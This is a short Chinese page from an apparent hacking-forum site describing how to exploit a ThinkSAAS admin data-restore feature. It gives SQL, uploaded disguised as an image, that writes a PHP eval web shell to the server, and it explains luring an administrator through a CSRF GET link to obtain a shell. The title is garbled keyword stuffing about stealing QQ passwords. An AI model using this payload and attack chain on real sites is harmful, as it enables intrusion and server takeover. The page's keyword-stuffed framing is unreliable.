您现在的位置: 主页 > 黑客联盟 > QQ黑客 > 文章内容

QQ黑客基地-qq黑客ThinkSAAS某功能设计不当可能导致怎么盗qq密码可以cs

作者: qq黑客 来源:未知 时间: 2014-03-10 阅读:
歼20-qq黑客ThinkSAAS某功能设计不当可能导致怎么盗qq密码可以csrf后台GETSHELL首先这里存在问题的是后台系统管理的数据备份还原处。
 
这里没有过滤sql参数,直接带入,拼接data/baksql/目录,然后进入恢复数据
这里在恢复是判断有没有分卷,没有分卷就直接恢复了,没有处理所要备份的sql文件的路径,类型,内容等,导致操作任意文件。
 
然后来看看这里数据恢复的操作:
 
我们抓个包:
 
我们在前台上传一个图片,图片内容为:
 
Drop TABLE IF EXISTS temp;
 
Create TABLE temp(cmd text NOT NULL);
 
Insert INTO temp (cmd) VALUES("<?php @eval($_POST['cmd']);?>");
 
Select cmd from temp into outfile 'F:/thinksaas/eval.php';
 
Drop TABLE IF EXISTS temp;
 
在sql参数处,把sql文件内容替换为我们自己上传的文件即可。
 
而且最重要的是,这里是GET请求,而且存在CSRF漏洞(图中以证明),那么我们上传了恶意文件后,诱使管理访问我们提供的恶意url就能拿到shell。